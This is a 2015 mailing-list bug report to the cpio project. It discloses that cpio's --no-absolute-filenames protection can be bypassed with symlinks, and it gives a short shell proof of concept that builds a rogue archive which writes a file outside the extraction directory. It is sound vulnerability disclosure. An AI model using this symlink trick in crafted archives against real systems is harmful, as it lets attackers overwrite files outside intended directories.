[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Bug-cpio] cpio: directory traversal vulnerability via symlinks
From: |
Alexander Cherepanov |
Subject: |
[Bug-cpio] cpio: directory traversal vulnerability via symlinks |
Date: |
Thu, 08 Jan 2015 02:34:44 +0300 |
Hi!
--no-absolute-filenames option seems to be intended to limit extracting
contents of an archive to be strictly inside a current directory (it
guards against both absolute paths and relative paths with .. in them).
However it can be bypassed with symlinks. While extracting an archive,
it will extract symlinks and then follow them if they are referenced in
further entries. This can be exploited by a rogue archive to write files
outside the current directory.
For example, let's create a sample archive:
ln -s /tmp dir
touch /tmp/file
echo 'dir
dir/file' | cpio -ov > test.cpio
rm dir /tmp/file
and then test it:
cpio --no-absolute-filenames -iv < test.cpio
This will create a symlink "dir" in the current directory and a file
"/tmp/file" by following this symlink.
BTW why --no-absolute-filenames is not default? In contrast with tar
which is secure by default.
--
Alexander Cherepanov
- [Bug-cpio] cpio: directory traversal vulnerability via symlinks,
Alexander Cherepanov <=